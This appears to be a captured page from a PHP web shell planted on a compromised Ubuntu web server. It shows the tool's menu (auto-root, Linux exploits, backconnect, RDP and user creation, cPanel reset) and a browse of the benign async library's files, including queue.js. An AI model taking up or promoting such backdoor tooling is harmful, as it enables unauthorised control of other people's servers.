Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
async /
[ HOME SHELL ]
Name
Size
Permission
Action
dist
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
CHANGELOG.md
28.53
KB
-rw-r--r--
LICENSE
1.04
KB
-rw-r--r--
README.md
2.48
KB
-rw-r--r--
all.js
1.64
KB
-rw-r--r--
allLimit.js
1.51
KB
-rw-r--r--
allSeries.js
1.25
KB
-rw-r--r--
any.js
1.72
KB
-rw-r--r--
anyLimit.js
1.55
KB
-rw-r--r--
anySeries.js
1.28
KB
-rw-r--r--
apply.js
1.8
KB
-rw-r--r--
applyEach.js
1.74
KB
-rw-r--r--
applyEachSeries.js
1.25
KB
-rw-r--r--
asyncify.js
3.42
KB
-rw-r--r--
auto.js
9.61
KB
-rw-r--r--
autoInject.js
6.33
KB
-rw-r--r--
bower.json
245
B
-rw-r--r--
cargo.js
4.54
KB
-rw-r--r--
compose.js
1.52
KB
-rw-r--r--
concat.js
1.55
KB
-rw-r--r--
concatLimit.js
2.11
KB
-rw-r--r--
concatSeries.js
1.24
KB
-rw-r--r--
constant.js
1.72
KB
-rw-r--r--
detect.js
2.16
KB
-rw-r--r--
detectLimit.js
1.72
KB
-rw-r--r--
detectSeries.js
1.32
KB
-rw-r--r--
dir.js
1.26
KB
-rw-r--r--
doDuring.js
2.13
KB
-rw-r--r--
doUntil.js
1.34
KB
-rw-r--r--
doWhilst.js
2.02
KB
-rw-r--r--
during.js
2.15
KB
-rw-r--r--
each.js
2.77
KB
-rw-r--r--
eachLimit.js
1.53
KB
-rw-r--r--
eachOf.js
3.29
KB
-rw-r--r--
eachOfLimit.js
1.38
KB
-rw-r--r--
eachOfSeries.js
1.11
KB
-rw-r--r--
eachSeries.js
1.18
KB
-rw-r--r--
ensureAsync.js
2.46
KB
-rw-r--r--
every.js
1.64
KB
-rw-r--r--
everyLimit.js
1.51
KB
-rw-r--r--
everySeries.js
1.25
KB
-rw-r--r--
filter.js
1.49
KB
-rw-r--r--
filterLimit.js
1.31
KB
-rw-r--r--
filterSeries.js
1.21
KB
-rw-r--r--
find.js
2.16
KB
-rw-r--r--
findLimit.js
1.72
KB
-rw-r--r--
findSeries.js
1.32
KB
-rw-r--r--
foldl.js
2.61
KB
-rw-r--r--
foldr.js
1.5
KB
-rw-r--r--
forEach.js
2.77
KB
-rw-r--r--
forEachLimit.js
1.53
KB
-rw-r--r--
forEachOf.js
3.29
KB
-rw-r--r--
forEachOfLimit.js
1.38
KB
-rw-r--r--
forEachOfSeries.js
1.11
KB
-rw-r--r--
forEachSeries.js
1.18
KB
-rw-r--r--
forever.js
1.9
KB
-rw-r--r--
groupBy.js
2.08
KB
-rw-r--r--
groupByLimit.js
2.32
KB
-rw-r--r--
groupBySeries.js
1.32
KB
-rw-r--r--
index.js
19.05
KB
-rw-r--r--
inject.js
2.61
KB
-rw-r--r--
log.js
1.17
KB
-rw-r--r--
map.js
2.03
KB
-rw-r--r--
mapLimit.js
1.28
KB
-rw-r--r--
mapSeries.js
1.18
KB
-rw-r--r--
mapValues.js
2.19
KB
-rw-r--r--
mapValuesLimit.js
1.99
KB
-rw-r--r--
mapValuesSeries.js
1.3
KB
-rw-r--r--
memoize.js
3.16
KB
-rw-r--r--
nextTick.js
1.41
KB
-rw-r--r--
package.json
2.56
KB
-rw-r--r--
parallel.js
3.03
KB
-rw-r--r--
parallelLimit.js
1.39
KB
-rw-r--r--
priorityQueue.js
3.03
KB
-rw-r--r--
queue.js
5.72
KB
-rw-r--r--
race.js
2.11
KB
-rw-r--r--
reduce.js
2.61
KB
-rw-r--r--
reduceRight.js
1.5
KB
-rw-r--r--
reflect.js
2.32
KB
-rw-r--r--
reflectAll.js
2.73
KB
-rw-r--r--
reject.js
1.41
KB
-rw-r--r--
rejectLimit.js
1.24
KB
-rw-r--r--
rejectSeries.js
1.13
KB
-rw-r--r--
retry.js
5.31
KB
-rw-r--r--
retryable.js
1.98
KB
-rw-r--r--
select.js
1.49
KB
-rw-r--r--
selectLimit.js
1.31
KB
-rw-r--r--
selectSeries.js
1.21
KB
-rw-r--r--
seq.js
2.92
KB
-rw-r--r--
series.js
2.87
KB
-rw-r--r--
setImmediate.js
1.36
KB
-rw-r--r--
some.js
1.72
KB
-rw-r--r--
someLimit.js
1.55
KB
-rw-r--r--
someSeries.js
1.28
KB
-rw-r--r--
sortBy.js
2.76
KB
-rw-r--r--
timeout.js
2.71
KB
-rw-r--r--
times.js
1.42
KB
-rw-r--r--
timesLimit.js
1.36
KB
-rw-r--r--
timesSeries.js
1021
B
-rw-r--r--
transform.js
2.65
KB
-rw-r--r--
tryEach.js
2.5
KB
-rw-r--r--
unmemoize.js
681
B
-rw-r--r--
until.js
1.41
KB
-rw-r--r--
waterfall.js
3.26
KB
-rw-r--r--
whilst.js
2.14
KB
-rw-r--r--
wrapSync.js
3.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : queue.js
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = function (worker, concurrency) { var _worker = (0, _wrapAsync2.default)(worker); return (0, _queue2.default)(function (items, cb) { _worker(items[0], cb); }, concurrency, 1); }; var _queue = require('./internal/queue'); var _queue2 = _interopRequireDefault(_queue); var _wrapAsync = require('./internal/wrapAsync'); var _wrapAsync2 = _interopRequireDefault(_wrapAsync); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } module.exports = exports['default']; /** * A queue of tasks for the worker function to complete. * @typedef {Object} QueueObject * @memberOf module:ControlFlow * @property {Function} length - a function returning the number of items * waiting to be processed. Invoke with `queue.length()`. * @property {boolean} started - a boolean indicating whether or not any * items have been pushed and processed by the queue. * @property {Function} running - a function returning the number of items * currently being processed. Invoke with `queue.running()`. * @property {Function} workersList - a function returning the array of items * currently being processed. Invoke with `queue.workersList()`. * @property {Function} idle - a function returning false if there are items * waiting or being processed, or true if not. Invoke with `queue.idle()`. * @property {number} concurrency - an integer for determining how many `worker` * functions should be run in parallel. This property can be changed after a * `queue` is created to alter the concurrency on-the-fly. * @property {Function} push - add a new task to the `queue`. Calls `callback` * once the `worker` has finished processing the task. Instead of a single task, * a `tasks` array can be submitted. The respective callback is used for every * task in the list. Invoke with `queue.push(task, [callback])`, * @property {Function} unshift - add a new task to the front of the `queue`. * Invoke with `queue.unshift(task, [callback])`. * @property {Function} remove - remove items from the queue that match a test * function. The test function will be passed an object with a `data` property, * and a `priority` property, if this is a * [priorityQueue]{@link module:ControlFlow.priorityQueue} object. * Invoked with `queue.remove(testFn)`, where `testFn` is of the form * `function ({data, priority}) {}` and returns a Boolean. * @property {Function} saturated - a callback that is called when the number of * running workers hits the `concurrency` limit, and further tasks will be * queued. * @property {Function} unsaturated - a callback that is called when the number * of running workers is less than the `concurrency` & `buffer` limits, and * further tasks will not be queued. * @property {number} buffer - A minimum threshold buffer in order to say that * the `queue` is `unsaturated`. * @property {Function} empty - a callback that is called when the last item * from the `queue` is given to a `worker`. * @property {Function} drain - a callback that is called when the last item * from the `queue` has returned from the `worker`. * @property {Function} error - a callback that is called when a task errors. * Has the signature `function(error, task)`. * @property {boolean} paused - a boolean for determining whether the queue is * in a paused state. * @property {Function} pause - a function that pauses the processing of tasks * until `resume()` is called. Invoke with `queue.pause()`. * @property {Function} resume - a function that resumes the processing of * queued tasks when the queue is paused. Invoke with `queue.resume()`. * @property {Function} kill - a function that removes the `drain` callback and * empties remaining tasks from the queue forcing it to go idle. No more tasks * should be pushed to the queue after calling this function. Invoke with `queue.kill()`. */ /** * Creates a `queue` object with the specified `concurrency`. Tasks added to the * `queue` are processed in parallel (up to the `concurrency` limit). If all * `worker`s are in progress, the task is queued until one becomes available. * Once a `worker` completes a `task`, that `task`'s callback is called. * * @name queue * @static * @memberOf module:ControlFlow * @method * @category Control Flow * @param {AsyncFunction} worker - An async function for processing a queued task. * If you want to handle errors from an individual task, pass a callback to * `q.push()`. Invoked with (task, callback). * @param {number} [concurrency=1] - An `integer` for determining how many * `worker` functions should be run in parallel. If omitted, the concurrency * defaults to `1`. If the concurrency is `0`, an error is thrown. * @returns {module:ControlFlow.QueueObject} A queue object to manage the tasks. Callbacks can * attached as certain properties to listen for specific events during the * lifecycle of the queue. * @example * * // create a queue object with concurrency 2 * var q = async.queue(function(task, callback) { * console.log('hello ' + task.name); * callback(); * }, 2); * * // assign a callback * q.drain = function() { * console.log('all items have been processed'); * }; * * // add some items to the queue * q.push({name: 'foo'}, function(err) { * console.log('finished processing foo'); * }); * q.push({name: 'bar'}, function (err) { * console.log('finished processing bar'); * }); * * // add some items to the queue (batch-wise) * q.push([{name: 'baz'},{name: 'bay'},{name: 'bax'}], function(err) { * console.log('finished processing item'); * }); * * // add some items to the front of the queue * q.unshift({name: 'bar'}, function (err) { * console.log('finished processing bar'); * }); */
Close